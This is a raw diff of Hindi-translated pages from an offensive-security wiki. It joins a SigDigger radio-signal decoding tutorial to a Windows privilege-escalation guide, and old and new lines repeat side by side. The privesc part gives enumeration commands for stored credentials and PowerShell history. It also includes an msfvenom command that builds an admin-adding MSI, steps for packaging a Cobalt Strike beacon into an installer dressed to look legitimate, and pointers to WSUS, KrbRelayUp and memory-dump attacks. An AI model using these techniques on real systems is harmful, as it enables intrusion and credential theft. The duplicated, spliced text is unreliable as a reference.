यह पता लगाने के बाद कि यह एक **AM मॉड्यूलेटेड** सिग्नल है और **प्रतीक दर** (और यह जानते हुए कि इस मामले में कुछ ऊपर का मतलब 1 है और कुछ नीचे का मतलब 0 है), **सिग्नल में एन्कोडेड बिट्स प्राप्त करना बहुत आसान है**। इसलिए, जानकारी के साथ सिग्नल का चयन करें और सैंपलिंग और निर्णय कॉन्फ़िगर करें और सैंपल दबाएं (जांचें कि **एम्प्लीट्यूड** चयनित है, खोजी गई **प्रतीक दर** कॉन्फ़िगर की गई है और **गैडनर क्लॉक रिकवरी** चयनित है):
यह पता लगाने के बाद कि यह एक **AM मॉड्यूलेटेड** सिग्नल है और **प्रतीक दर** (और यह जानते हुए कि इस मामले में कुछ ऊपर का मतलब 1 है और कुछ नीचे का मतलब 0 है), **सिग्नल में एन्कोडेड बिट्स प्राप्त करना** बहुत आसान है। इसलिए, जानकारी के साथ सिग्नल का चयन करें और सैंपलिंग और निर्णय कॉन्फ़िगर करें और सैंपल दबाएँ (जाँच करें कि **एम्प्लीट्यूड** चयनित है, खोजी गई **प्रतीक दर** कॉन्फ़िगर की गई है और **गैडनर क्लॉक रिकवरी** चयनित है):
![](<../../images/image (965).png>)
- **चयन अंतराल के लिए समन्वय** का मतलब है कि यदि आपने पहले प्रतीक दर खोजने के लिए अंतराल का चयन किया है, तो उस प्रतीक दर का उपयोग किया जाएगा।
- **चयन अंतराल के लिए समन्वयित** का मतलब है कि यदि आपने पहले प्रतीक दर खोजने के लिए अंतराल का चयन किया है, तो उस प्रतीक दर का उपयोग किया जाएगा।
- **मैनुअल** का मतलब है कि निर्दिष्ट प्रतीक दर का उपयोग किया जाएगा
- **फिक्स्ड इंटरवल चयन** में आप उन अंतरालों की संख्या निर्दिष्ट करते हैं जिन्हें चयनित किया जाना चाहिए और यह उससे प्रतीक दर की गणना करता है
- **फिक्स्ड इंटरवल चयन** में आप उन अंतरालों की संख्या निर्दिष्ट करते हैं जिन्हें चयनित किया जाना चाहिए और यह प्रतीक दर की गणना करता है
- **गैडनर क्लॉक रिकवरी** आमतौर पर सबसे अच्छा विकल्प होता है, लेकिन आपको अभी भी कुछ अनुमानित प्रतीक दर निर्दिष्ट करने की आवश्यकता होती है।
सैंपल दबाने पर यह दिखाई देता है:
![](<../../images/image (644).png>)
अब, SigDigger को समझाने के लिए **जहाँ जानकारी ले जाने वाला स्तर है**, आपको **निम्न स्तर** पर क्लिक करना होगा और सबसे बड़े स्तर तक क्लिक बनाए रखना होगा:
अब, SigDigger को समझाने के लिए कि **जानकारी ले जाने वाले स्तर की सीमा कहाँ है**, आपको **निम्न स्तर** पर क्लिक करना होगा और सबसे बड़े स्तर तक क्लिक बनाए रखना होगा:
![](<../../images/image (439).png>)
यदि वहाँ उदाहरण के लिए **एम्प्लीट्यूड के 4 अलग-अलग स्तर** होते, तो आपको **प्रतीक प्रति बिट को 2** पर कॉन्फ़िगर करना चाहिए और सबसे छोटे से सबसे बड़े तक चयन करना चाहिए
यदि वहाँ उदाहरण के लिए **एम्प्लीट्यूड के 4 अलग-अलग स्तर** होते, तो आपको **प्रतीक प्रति बिट को 2** कॉन्फ़िगर करना होगा और सबसे छोटे से सबसे बड़े तक चयन करना होगा
अंत में **ज़ूम** बढ़ाकर और **रो आकार** बदलकर आप बिट्स देख सकते हैं (और आप सभी को चयनित कर सकते हैं और सभी बिट्स प्राप्त करने के लिए कॉपी कर सकते हैं):
![](<../../images/image (276).png>)
यदि सिग्नल में प्रतीक प्रति बिट 1 से अधिक है (उदाहरण के लिए 2), तो SigDigger को **यह जानने का कोई तरीका नहीं होगा कि कौन सा प्रतीक है** 00, 01, 10, 11, इसलिए यह प्रत्येक का प्रतिनिधित्व करने के लिए विभिन्न **ग्रे स्केल** का उपयोग करेगा (और यदि आप बिट्स को कॉपी करते हैं, तो यह **0 से 3 तक के नंबर** का उपयोग करेगा, आपको उन्हें संसाधित करने की आवश्यकता होगी)।
यदि सिग्नल में प्रतीक प्रति बिट से अधिक (उदाहरण के लिए 2) है, तो SigDigger के पास यह जानने का **कोई तरीका नहीं होगा कि कौन सा प्रतीक** 00, 01, 10, 11 है, इसलिए यह प्रत्येक को दर्शाने के लिए विभिन्न **ग्रे स्केल** का उपयोग करेगा (और यदि आप बिट्स को कॉपी करते हैं, तो यह **0 से 3 तक के नंबर** का उपयोग करेगा, आपको उन्हें संसाधित करने की आवश्यकता होगी)।
इसके अलावा, **कोडिफिकेशन** जैसे **मैनचेस्टर**, और **अप+डाउन** **1 या 0** हो सकते हैं और एक डाउन+अप 1 या 0 हो सकता है। उन मामलों में आपको **प्राप्त अप (1) और डाउन (0)** को संसाधित करने की आवश्यकता है ताकि 01 या 10 के जोड़ों को 0 या 1 के रूप में प्रतिस्थापित किया जा सके।
इसके अलावा, **कोडिफिकेशन** का उपयोग करें जैसे कि **मैनचेस्टर**, और **अप+डाउन** **1 या 0** हो सकता है और एक डाउन+अप 1 या 0 हो सकता है। उन मामलों में आपको **प्राप्त अप (1) और डाउन (0)** को संसाधित करने की आवश्यकता है ताकि 01 या 10 के जोड़ों को 0 या 1 के रूप में प्रतिस्थापित किया जा सके।
## FM Example
{% file src="../../images/sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw" %}
{{#file}}
sigdigger_20220308_170858Z_2560000_433500000_float32_iq.raw
{{#endfile}}
### Uncovering FM
@ -151,7 +155,7 @@ FM में मॉड्यूलेट की गई जानकारी भ
![](<../../images/image (725).png>)
पिछले चित्र में आप देख सकते हैं कि **2 आवृत्तियाँ उपयोग की जा रही हैं** लेकिन यदि आप **तरंग रूप** का अवलोकन करते हैं, तो आप **2 अलग-अलग आवृत्तियों की सही पहचान नहीं कर पाएंगे**:
पिछले चित्र में आप देख सकते हैं कि **2 आवृत्तियाँ उपयोग की जा रही हैं** लेकिन यदि आप **तरंग रूप** का अवलोकन करते हैं, तो आप **2 अलग-अलग आवृत्तियों** की सही पहचान नहीं कर पाएंगे:
![](<../../images/image (717).png>)
@ -159,7 +163,7 @@ FM में मॉड्यूलेट की गई जानकारी भ
![](<../../images/image (942).png>)
यदि समन्वयित आवृत्ति **एक आवृत्ति के करीब है दूसरी की तुलना में**, तो आप आसानी से 2 अलग-अलग आवृत्तियाँ देख सकते हैं:
यदि समन्वयित आवृत्ति **एक आवृत्ति के करीब है दूसरी के मुकाबले**, तो आप आसानी से 2 अलग-अलग आवृत्तियाँ देख सकते हैं:
![](<../../images/image (422).png>)
@ -167,7 +171,7 @@ FM में मॉड्यूलेट की गई जानकारी भ
#### Checking the histogram
जानकारी वाले सिग्नल क आवृत्ति हिस्टोग्राम की जांच करते समय आप आसानी से 2 अलग-अलग सिग्नल देख सकते हैं:
जानकारी वाले सिग्नल क आवृत्ति हिस्टोग्राम की जांच करते समय आप आसानी से 2 अलग-अलग सिग्नल देख सकते हैं:
![](<../../images/image (871).png>)
@ -181,9 +185,9 @@ FM में मॉड्यूलेट की गई जानकारी भ
#### With IQ
IQ में आवृत्तियों की पहचान करने के लिए कोई क्षेत्र नहीं है (केंद्र से दूरी एम्प्लीट्यूड है और कोण फेज है)।\
IQ में आवृत्तियों की पहचान करने के लिए कोई क्षेत्र नहीं है (केंद्र की दूरी एम्प्लीट्यूड है और कोण फेज है)।\
इसलिए, FM की पहचान करने के लिए, आपको इस ग्राफ में **बुनियादी रूप से केवल एक सर्कल** देखना चाहिए।\
इसके अलावा, एक अलग आवृत्ति को IQ ग्राफ द्वारा **सर्कल के चारों ओर गति की तेजी** द्वारा "प्रतिनिधित्व" किया जाता है (इसलिए SysDigger में सिग्नल का चयन करते समय IQ ग्राफ भरा जाता है, यदि आप बनाए गए सर्कल में गति की तेजी या दिशा में बदलाव पाते हैं, तो इसका मतलब हो सकता है कि यह FM है):
इसके अलावा, एक अलग आवृत्ति को IQ ग्राफ द्वारा **सर्कल के चारों ओर गति की तेजी** द्वारा "प्रतिनिधित्व" किया जाता है (इसलिए SysDigger में सिग्नल का चयन करते समय IQ ग्राफ भरा जाता है, यदि आप बनाए गए सर्कल में गति या दिशा में परिवर्तन पाते हैं, तो इसका मतलब हो सकता है कि यह FM है):
![](<../../images/image (81).png>)

View File

@ -32,7 +32,7 @@ integrity-levels.md
## Windows सुरक्षा नियंत्रण
Windows में विभिन्न चीजें हैं जो **आपको सिस्टम को सूचीबद्ध करने से रोक सकती हैं**, निष्पादन योग्य चलाने या यहां तक कि **आपकी गतिविधियों का पता लगाने** से भी। आपको विशेषाधिकार वृद्धि सूचीकरण शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और सभी **रक्षा** **यंत्रों****सूचीबद्ध** करना चाहिए:
Windows में विभिन्न चीजें हैं जो **आपको सिस्टम की गणना करने से रोक सकती हैं**, निष्पादन योग्य चलाने या यहां तक कि **आपकी गतिविधियों का पता लगाने** से भी। आपको विशेषाधिकार वृद्धि गणना शुरू करने से पहले निम्नलिखित **पृष्ठ** को **पढ़ना** और इन सभी **रक्षा** **यंत्रों****गणना** करनी चाहिए:
{{#ref}}
../authentication-credentials-uac-and-efs/
@ -40,9 +40,9 @@ Windows में विभिन्न चीजें हैं जो **आ
## सिस्टम जानकारी
### संस्करण जानकारी सूचीकरण
### संस्करण जानकारी गणना
जांचें कि क्या Windows संस्करण में कोई ज्ञात भेद्यता है (लागू किए गए पैच भी जांचें)।
जांचें कि क्या Windows संस्करण में कोई ज्ञात भेद्यता है (लागू पैच भी जांचें)।
```bash
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell Transcript files
आप इसे चालू करने के लिए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) पर सीख सकते हैं।
आप सीख सकते हैं कि इसे कैसे चालू किया जाए [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
@ -112,7 +112,7 @@ Stop-Transcript
```
### PowerShell Module Logging
PowerShell पाइपलाइन निष्पादन का विवरण रिकॉर्ड किया जाता है, जिसमें निष्पादित कमांड, कमांड कॉल और स्क्रिप्ट के भाग शामिल होते हैं। हालाँकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम कैप्चर नहीं किए जा सकते हैं।
PowerShell पाइपलाइन निष्पादन का विवरण दर्ज किया जाता है, जिसमें निष्पादित कमांड, कमांड कॉल और स्क्रिप्ट के भाग शामिल होते हैं। हालाँकि, पूर्ण निष्पादन विवरण और आउटपुट परिणाम कैप्चर नहीं किए जा सकते हैं।
इसे सक्षम करने के लिए, दस्तावेज़ के "Transcript files" अनुभाग में दिए गए निर्देशों का पालन करें, **"Powershell Transcription"** के बजाय **"Module Logging"** का विकल्प चुनें।
```bash
@ -127,14 +127,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण सामग्री रिकॉर्ड की जाती है, यह सुनिश्चित करते हुए कि कोड का हर ब्लॉक उसके चलने के समय दस्तावेजीकृत है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल बनाए रखती है, जो फॉरेंसिक्स और दुर्भावनापूर्ण व्यवहार का विश्लेषण करने के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजीकृत करके, प्रक्रिया के बारे में विस्तृत जानकारी प्रदान की जाती है।
स्क्रिप्ट के निष्पादन की पूरी गतिविधि और पूर्ण सामग्री रिकॉर्ड की जाती है, यह सुनिश्चित करते हुए कि कोड के प्रत्येक ब्लॉक को उसके चलने के समय दस्तावेजित किया जाता है। यह प्रक्रिया प्रत्येक गतिविधि का एक व्यापक ऑडिट ट्रेल बनाए रखती है, जो फॉरेंसिक्स और दुर्भावनापूर्ण व्यवहार का विश्लेषण करने के लिए मूल्यवान है। निष्पादन के समय सभी गतिविधियों को दस्तावेजित करके, प्रक्रिया के बारे में विस्तृत अंतर्दृष्टि प्रदान की जाती है।
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
स्क्रिप्ट ब्लॉक के लिए लॉगिंग इवेंट्स Windows Event Viewer में इस पथ पर स्थित हो सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**।\
स्क्रिप्ट ब्लॉक के लिए लॉगिंग इवेंट्स Windows Event Viewer में निम्नलिखित पथ पर स्थित हो सकते हैं: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**।\
अंतिम 20 इवेंट्स देखने के लिए आप उपयोग कर सकते हैं:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
@ -152,13 +152,13 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
```
## WSUS
यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम से समझौता कर सकते हैं।
यदि अपडेट http**S** का उपयोग करके अनुरोध नहीं किए जाते हैं, तो आप सिस्टम को समझौता कर सकते हैं।
आप निम्नलिखित चलाकर जांच करते हैं कि क्या नेटवर्क एक गैर-SSL WSUS अपडेट का उपयोग कर रहा है:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
आपको यदि इस प्रकार का उत्तर मिलता है:
आपको यदि इस तरह का उत्तर मिलता है:
```bash
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
@ -171,24 +171,26 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
यहाँ शोध पढ़ें:
{% file src="../../images/CTX_WSUSpect_White_Paper (1).pdf" %}
{{#file}}
CTX_WSUSpect_White_Paper (1).pdf
{{#endfile}}
**WSUS CVE-2020-1013**
[**यहाँ पूरा रिपोर्ट पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
[**पूर्ण रिपोर्ट यहाँ पढ़ें**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
बुनियादी रूप से, यह वह दोष है जिसका लाभ यह बग उठाता है:
> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट एक्सप्लोरर की सेटिंग्स में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्च स्तर के उपयोगकर्ता के रूप में कोड चला सकें।
> यदि हमारे पास अपने स्थानीय उपयोगकर्ता प्रॉक्सी को संशोधित करने की शक्ति है, और Windows Updates इंटरनेट एक्सप्लोरर की सेटिंग में कॉन्फ़िगर की गई प्रॉक्सी का उपयोग करता है, तो हमारे पास [PyWSUS](https://github.com/GoSecure/pywsus) को स्थानीय रूप से चलाने की शक्ति है ताकि हम अपने स्वयं के ट्रैफ़िक को इंटरसेप्ट कर सकें और अपने संपत्ति पर एक उच्च उपयोगकर्ता के रूप में कोड चला सकें।
>
> इसके अलावा, चूंकि WSUS सेवा वर्तमान उपयोगकर्ता की सेटिंग्स का उपयोग करती है, यह इसके प्रमाणपत्र स्टोर का भी उपयोग करेगी। यदि हम WSUS होस्टनाम के लिए एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करते हैं और इस प्रमाणपत्र को वर्तमान उपयोगकर्ता के प्रमाणपत्र स्टोर में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS प्रमाणपत्र पर पहले उपयोग पर विश्वास करने के प्रकार की मान्यता लागू करने के लिए कोई HSTS-जैसे तंत्र का उपयोग नहीं करता है। यदि प्रस्तुत प्रमाणपत्र उपयोगकर्ता द्वारा विश्वसनीय है और सही होस्टनाम है, तो इसे सेवा द्वारा स्वीकार किया जाएगा।
> इसके अलावा, चूंकि WSUS सेवा वर्तमान उपयोगकर्ता की सेटिंग का उपयोग करती है, यह इसके प्रमाणपत्र स्टोर का भी उपयोग करेगी। यदि हम WSUS होस्टनाम के लिए एक स्व-हस्ताक्षरित प्रमाणपत्र उत्पन्न करते हैं और इस प्रमाणपत्र को वर्तमान उपयोगकर्ता के प्रमाणपत्र स्टोर में जोड़ते हैं, तो हम HTTP और HTTPS दोनों WSUS ट्रैफ़िक को इंटरसेप्ट करने में सक्षम होंगे। WSUS प्रमाणपत्र पर पहले उपयोग पर विश्वास करने के प्रकार की मान्यता लागू करने के लिए कोई HSTS-जैसे तंत्र का उपयोग नहीं करता है। यदि प्रस्तुत प्रमाणपत्र उपयोगकर्ता द्वारा विश्वसनीय है और सही होस्टनाम है, तो इसे सेवा द्वारा स्वीकार किया जाएगा।
आप इस कमजोरी का लाभ [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) उपकरण का उपयोग करके उठा सकते हैं (जब यह मुक्त हो जाए)।
## KrbRelayUp
Windows **डोमेन** वातावरण में विशिष्ट परिस्थितियों के तहत एक **स्थानीय विशेषाधिकार वृद्धि** की कमजोरी मौजूद है। इन परिस्थितियों में वे वातावरण शामिल हैं जहाँ **LDAP साइनिंग लागू नहीं है,** उपयोगकर्ताओं के पास **Resource-Based Constrained Delegation (RBCD)** को कॉन्फ़िगर करने के लिए स्व-अधिकार हैं, और उपयोगकर्ताओं के लिए डोमेन के भीतर कंप्यूटर बनाने की क्षमता है। यह ध्यान रखना महत्वपूर्ण है कि ये **आवश्यकताएँ** **डिफ़ॉल्ट सेटिंग्स** का उपयोग करके पूरी होती हैं।
Windows **डोमेन** वातावरण में एक **स्थानीय विशेषाधिकार वृद्धि** की कमजोरी विशेष परिस्थितियों में मौजूद है। इन परिस्थितियों में वे वातावरण शामिल हैं जहाँ **LDAP साइनिंग लागू नहीं है,** उपयोगकर्ताओं के पास **Resource-Based Constrained Delegation (RBCD)** को कॉन्फ़िगर करने के लिए स्व-अधिकार हैं, और उपयोगकर्ताओं के लिए डोमेन के भीतर कंप्यूटर बनाने की क्षमता है। यह ध्यान रखना महत्वपूर्ण है कि ये **आवश्यकताएँ** **डिफ़ॉल्ट सेटिंग्स** का उपयोग करके पूरी की जाती हैं।
**शोषण खोजें** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
**एक्सप्लॉइट खोजें** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
हमले के प्रवाह के बारे में अधिक जानकारी के लिए देखें [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
@ -208,11 +210,11 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
### PowerUP
`Write-UserAddMSI` कमांड का उपयोग करें power-up से वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाने के लिए ताकि विशेषाधिकार बढ़ाए जा सकें। यह स्क्रिप्ट एक पूर्व-संकलित MSI इंस्टॉलर लिखती है जो एक उपयोगकर्ता/समूह जोड़ने के लिए संकेत देती है (इसलिए आपको GIU पहुंच की आवश्यकता होगी):
`Write-UserAddMSI` कमांड का उपयोग करें power-up से वर्तमान निर्देशिका के अंदर एक Windows MSI बाइनरी बनाने के लिए ताकि विशेषाधिकार बढ़ाए जा सकें। यह स्क्रिप्ट एक पूर्व-संकलित MSI इंस्टॉलर लिखती है जो उपयोगकर्ता/समूह जोड़ने के लिए संकेत देती है (इसलिए आपको GIU पहुंच की आवश्यकता होगी):
```
Write-UserAddMSI
```
बस बनाए गए बाइनरी को कार्यान्वित करें ताकि विशेषाधिकार बढ़ाए जा सके
बस बनाए गए बाइनरी को कार्यान्वित करें ताकि विशेषाधिकार बढ़ सके।
### MSI Wrapper
@ -230,20 +232,20 @@ create-msi-with-wix.md
### Visual Studio के साथ MSI बनाएं
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** उत्पन्न करें `C:\privesc\beacon.exe` में
- **Cobalt Strike** या **Metasploit** के साथ एक **नया Windows EXE TCP payload** `C:\privesc\beacon.exe` में **जनरेट** करें।
- **Visual Studio** खोलें, **Create a new project** चुनें और खोज बॉक्स में "installer" टाइप करें। **Setup Wizard** प्रोजेक्ट चुनें और **Next** पर क्लिक करें।
- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **solution और project को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें।
- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी उत्पन्न किया है। फिर **Finish** पर क्लिक करें।
- प्रोजेक्ट को एक नाम दें, जैसे **AlwaysPrivesc**, स्थान के लिए **`C:\privesc`** का उपयोग करें, **सॉल्यूशन और प्रोजेक्ट को एक ही निर्देशिका में रखें** चुनें, और **Create** पर क्लिक करें।
- **Next** पर क्लिक करते रहें जब तक आप 4 में से 3 चरण पर नहीं पहुँचते (शामिल करने के लिए फ़ाइलें चुनें)। **Add** पर क्लिक करें और उस Beacon payload को चुनें जिसे आपने अभी जनरेट किया है। फिर **Finish** पर क्लिक करें।
- **Solution Explorer** में **AlwaysPrivesc** प्रोजेक्ट को हाइलाइट करें और **Properties** में, **TargetPlatform** को **x86** से **x64** में बदलें।
- अन्य गुण भी हैं जिन्हें आप बदल सकते हैं, जैसे **Author** और **Manufacturer** जो स्थापित ऐप को अधिक वैध दिखा सकते हैं।
- प्रोजेक्ट पर राइट-क्लिक करें और **View > Custom Actions** चुनें।
- **Install** पर राइट-क्लिक करें और **Add Custom Action** चुनें।
- **Application Folder** पर डबल-क्लिक करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload स्थापित करने वाले के चलने पर कार्यान्वित हो।
- **Application Folder** पर डबल-क्लिक करें, अपनी **beacon.exe** फ़ाइल चुनें और **OK** पर क्लिक करें। यह सुनिश्चित करेगा कि beacon payload इंस्टॉलर चलने पर तुरंत कार्यान्वित हो।
- **Custom Action Properties** के तहत, **Run64Bit** को **True** में बदलें।
- अंत में, **build it**
- यदि चेतावनी `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` दिखाई देती है, तो सुनिश्चित करें कि आपने प्लेटफ़ॉर्म को x64 पर सेट किया है।
### MSI Installation
### MSI स्थापना
**पृष्ठभूमि** में दुर्भावनापूर्ण `.msi` फ़ाइल की **स्थापना** को कार्यान्वित करने के लिए:
```
@ -267,7 +269,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें अधिकृत होने पर स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है।
**LAPS** स्थानीय व्यवस्थापक पासवर्डों के **प्रबंधन** के लिए डिज़ाइन किया गया है, यह सुनिश्चित करते हुए कि प्रत्येक पासवर्ड **विशिष्ट, यादृच्छिक, और नियमित रूप से अपडेट** किया गया है उन कंप्यूटरों पर जो एक डोमेन से जुड़े हैं। ये पासवर्ड सक्रिय निर्देशिका में सुरक्षित रूप से संग्रहीत होते हैं और केवल उन उपयोगकर्ताओं द्वारा एक्सेस किए जा सकते हैं जिन्हें ACLs के माध्यम से पर्याप्त अनुमतियाँ दी गई हैं, जिससे उन्हें स्थानीय व्यवस्थापक पासवर्ड देखने की अनुमति मिलती है यदि अधिकृत हो
{{#ref}}
../active-directory-methodology/laps.md
@ -295,7 +297,7 @@ reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
```
### Cached Credentials
**डोमेन क्रेडेंशियल्स** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता के लॉगिन डेटा को एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\
**डोमेन क्रेडेंशियल्स** को **स्थानीय सुरक्षा प्राधिकरण** (LSA) द्वारा प्रमाणित किया जाता है और ऑपरेटिंग सिस्टम के घटकों द्वारा उपयोग किया जाता है। जब किसी उपयोगकर्ता का लॉगिन डेटा एक पंजीकृत सुरक्षा पैकेज द्वारा प्रमाणित किया जाता है, तो उपयोगकर्ता के लिए डोमेन क्रेडेंशियल्स आमतौर पर स्थापित किए जाते हैं।\
[**Cached Credentials के बारे में अधिक जानकारी यहाँ**](../stealing-credentials/credentials-protections.md#cached-credentials).
```bash
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
@ -304,7 +306,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Enumerate Users & Groups
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में शामिल हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
आपको यह जांचना चाहिए कि क्या आप जिन समूहों में हैं, उनमें कोई दिलचस्प अनुमतियाँ हैं।
```bash
# CMD
net users %username% #Me
@ -319,7 +321,7 @@ Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
```
### विशेषाधिकार प्राप्त समूह
### Privileged groups
यदि आप **किसी विशेषाधिकार प्राप्त समूह का हिस्सा हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं**। विशेषाधिकार प्राप्त समूहों के बारे में जानें और उन्हें विशेषाधिकार बढ़ाने के लिए कैसे दुरुपयोग करें यहाँ:
@ -327,16 +329,16 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource
../active-directory-methodology/privileged-groups-and-token-privileges.md
{{#endref}}
### टोकन हेरफेर
### Token manipulation
**और अधिक जानें** कि **टोकन** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
निम्नलिखित पृष्ठ पर **दिलचस्प टोकनों** के बारे में जानें और उन्हें कैसे दुरुपयोग करें:
**और अधिक जानें** कि **token** क्या है इस पृष्ठ पर: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
निम्नलिखित पृष्ठ पर **दिलचस्प tokens के बारे में जानें** और उन्हें कैसे दुरुपयोग करें:
{{#ref}}
privilege-escalation-abusing-tokens.md
{{#endref}}
### लॉग इन उपयोगकर्ता / सत्र
### Logged users / Sessions
```bash
qwinsta
klist sessions
@ -359,7 +361,7 @@ powershell -command "Get-Clipboard"
### फ़ाइल और फ़ोल्डर अनुमतियाँ
सबसे पहले, प्रक्रियाओं की सूची बनाते समय **प्रक्रिया की कमांड लाइन के अंदर पासवर्ड की जांच करें**।\
जांचें कि क्या आप **कुछ बाइनरी को ओवरराइट कर सकते हैं** या यदि आपके पास बाइनरी फ़ोल्डर की लिखने की अनुमतियाँ हैं ताकि संभावित [**DLL Hijacking हमलों**](dll-hijacking/index.html) का लाभ उठाया जा सके:
जांचें कि क्या आप **कुछ बाइनरी को ओवरराइट कर सकते हैं** या यदि आपके पास संभावित [**DLL Hijacking हमलों**](dll-hijacking/index.html) का लाभ उठाने के लिए बाइनरी फ़ोल्डर की लिखने की अनुमतियाँ हैं:
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -391,7 +393,7 @@ todos %username%" && echo.
```
### मेमोरी पासवर्ड खनन
आप **procdump** का उपयोग करके एक चल रहे प्रोसेस का मेमोरी डंप बना सकते हैं। FTP जैसी सेवाओं में **स्मृति में स्पष्ट पाठ में क्रेडेंशियल्स होते हैं**, मेमोरी को डंप करने और क्रेडेंशियल्स को पढ़ने का प्रयास करें।
